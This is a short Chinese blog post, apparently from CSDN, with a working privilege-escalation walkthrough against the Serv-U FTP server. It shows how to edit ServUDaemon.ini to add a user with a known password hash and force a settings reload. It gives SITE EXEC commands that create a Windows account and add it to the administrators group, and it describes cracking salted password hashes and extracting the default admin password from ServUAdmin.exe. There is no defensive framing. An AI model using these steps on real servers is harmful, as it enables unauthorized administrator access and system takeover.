server-u提权

最新推荐文章于 2023-07-12 08:48:42 发布

mon0dy

最新推荐文章于 2023-07-12 08:48:42 发布

阅读量1k

点赞数 4

分类专栏：提权文章标签：安全漏洞 ftp

本文链接：https://blog.csdn.net/m0_46230316/article/details/105796880

版权

6 篇文章 1 订阅

订阅专栏

原理：修改server-u目录下的配置文件ServUDaemon.ini
Serv-U是一种被广泛运用的FTP服务器软件

1.首先新建一个用户名字
在这里插入图片描述
2.复制其他有权限的用户

3.修改密码
密码开头的gw是自动生成的，在进行加密时要连带着gw一起，最后把密码改为gw046a66fe42ef34eff3a5307cfa42757b

4.登录，输入命令添加用户，需要重起Serv-U才能生效

也可以在[[GLOBAL]]部分加入ReloadSettings=True，在重新载入ServUDaemon.ini的内容后该语句会自动消失，添加的用户也会立即生效。

 quote site exec net user D1stiny 123 /add 
 quote site exec net localgroup administrators D1stiny /add

在这里插入图片描述

1.这里用的名为passwordspro.exe的工具，右击add，写入密文和salt，选择判断出加salt的方式
在这里插入图片描述
2.点击settings，选择字母数字特殊符号，然后开始，慢慢等就行了

原理：通过默认的管理账号创建用户进行提权
如果没有改密码
在这里插入图片描述

cmd /c net user DisKill /add & net localgroup administrators DisKill /add

如果改了密码，找到ServUAdmin.exe，下载到本地，打开，搜索localadministrator，即可找到密码
在这里插入图片描述

关注

专栏目录